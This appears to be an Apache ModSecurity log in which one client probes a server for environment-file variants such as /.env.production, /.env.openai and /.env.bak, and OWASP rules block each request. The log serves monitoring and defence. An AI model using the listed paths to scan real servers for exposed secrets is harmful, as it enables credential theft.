[Mon Oct 26 23:35:46.557621 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "auAcEuJUkwm96ZYHDUs2CwAAABE"]
[Mon Oct 26 23:35:46.557851 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "auAcEuJUkwm96ZYHDUs2CwAAABE"]
[Mon Oct 26 23:35:46.557900 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "auAcEvaBHXiICPr245B4LQAAAAM"]
[Mon Oct 26 23:35:46.558125 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "auAcEvaBHXiICPr245B4LQAAAAM"]
[Mon Oct 26 23:35:46.558125 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "auAcEuJUkwm96ZYHDUs2CwAAABE"]
[Mon Oct 26 23:35:46.559232 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "auAcEmD99EvW2fD6Vi-vygAAABM"]
[Mon Oct 26 23:35:46.559360 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "auAcEmD99EvW2fD6Vi-vygAAABM"]
[Mon Oct 26 23:35:46.559542 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "auAcEjvJu9RIoV0HiuBZ5AAAAAA"]
[Mon Oct 26 23:35:46.559582 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "auAcEmD99EvW2fD6Vi-vygAAABM"]
[Mon Oct 26 23:35:46.559686 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "auAcEjvJu9RIoV0HiuBZ5AAAAAA"]
[Mon Oct 26 23:35:46.559905 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "auAcEjvJu9RIoV0HiuBZ5AAAAAA"]
[Mon Oct 26 23:35:46.569712 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "auAcEm_jKEuts3LY6kCVjwAAAAE"]
[Mon Oct 26 23:35:46.569849 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.docker"] [unique_id "auAcEl9GAVpomZaedseMWwAAAAQ"]
[Mon Oct 26 23:35:46.569869 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "auAcEm_jKEuts3LY6kCVjwAAAAE"]
[Mon Oct 26 23:35:46.570054 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.docker"] [unique_id "auAcEl9GAVpomZaedseMWwAAAAQ"]
[Mon Oct 26 23:35:46.570100 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "auAcEm_jKEuts3LY6kCVjwAAAAE"]
[Mon Oct 26 23:35:46.570355 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.docker"] [unique_id "auAcEl9GAVpomZaedseMWwAAAAQ"]
[Mon Oct 26 23:35:46.571339 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "auAcEjtlUsnco091MEfl-gAAAAc"]
[Mon Oct 26 23:35:46.571484 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "auAcEjtlUsnco091MEfl-gAAAAc"]
[Mon Oct 26 23:35:46.571712 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "auAcEjtlUsnco091MEfl-gAAAAc"]
[Mon Oct 26 23:35:46.572249 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "auAcEnqFfbazysLpfsTwSgAAAA8"]
[Mon Oct 26 23:35:46.572404 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "auAcEnqFfbazysLpfsTwSgAAAA8"]
[Mon Oct 26 23:35:46.572635 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "auAcEnqFfbazysLpfsTwSgAAAA8"]
[Mon Oct 26 23:35:46.633837 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.openai"] [unique_id "auAcEuJUkwm96ZYHDUs2DAAAABE"]
[Mon Oct 26 23:35:46.633836 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "auAcEvaBHXiICPr245B4LgAAAAM"]
[Mon Oct 26 23:35:46.634050 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.openai"] [unique_id "auAcEuJUkwm96ZYHDUs2DAAAABE"]
[Mon Oct 26 23:35:46.634051 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "auAcEvaBHXiICPr245B4LgAAAAM"]
[Mon Oct 26 23:35:46.634359 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.old"] [unique_id "auAcEvaBHXiICPr245B4LgAAAAM"]
[Mon Oct 26 23:35:46.634391 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.openai"] [unique_id "auAcEuJUkwm96ZYHDUs2DAAAABE"]
[Mon Oct 26 23:35:46.635354 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.php"] [unique_id "auAcEmD99EvW2fD6Vi-vywAAABM"]
[Mon Oct 26 23:35:46.635480 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.php"] [unique_id "auAcEmD99EvW2fD6Vi-vywAAABM"]
[Mon Oct 26 23:35:46.635707 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.php"] [unique_id "auAcEmD99EvW2fD6Vi-vywAAABM"]
[Mon Oct 26 23:35:46.651688 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "auAcEm_jKEuts3LY6kCVkAAAAAE"]
[Mon Oct 26 23:35:46.651888 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "auAcEm_jKEuts3LY6kCVkAAAAAE"]
[Mon Oct 26 23:35:46.652144 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "auAcEm_jKEuts3LY6kCVkAAAAAE"]
[Mon Oct 26 23:35:46.653027 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "auAcEl9GAVpomZaedseMXAAAAAQ"]
[Mon Oct 26 23:35:46.653154 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "auAcEl9GAVpomZaedseMXAAAAAQ"]
[Mon Oct 26 23:35:46.653363 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.sample"] [unique_id "auAcEl9GAVpomZaedseMXAAAAAQ"]
[Mon Oct 26 23:35:46.654264 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "auAcEjtlUsnco091MEfl-wAAAAc"]
[Mon Oct 26 23:35:46.654430 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "auAcEjtlUsnco091MEfl-wAAAAc"]
